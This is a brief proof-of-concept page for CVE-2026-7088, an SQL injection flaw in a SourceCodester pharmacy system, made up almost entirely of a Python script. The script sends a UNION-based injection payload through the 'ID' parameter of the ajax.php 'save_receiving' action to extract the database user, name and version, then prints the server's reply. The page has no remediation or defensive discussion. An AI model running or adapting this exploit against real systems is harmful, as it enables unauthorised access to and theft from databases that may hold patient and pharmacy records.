CVE-2026-7088 SourceCodester药房系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-host/ajax.php" # Malicious payload to test SQL injection on the 'ID' parameter # Attempts to extract database version using a UNION-based injection payload = { "action": "save_receiving", "ID": "1' UNION SELECT 1, user(), database(), version()-- -" } try: # Send the GET request with the malicious payload response = requests.get(target_url, params=payload, timeout=10) # Check the response status if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")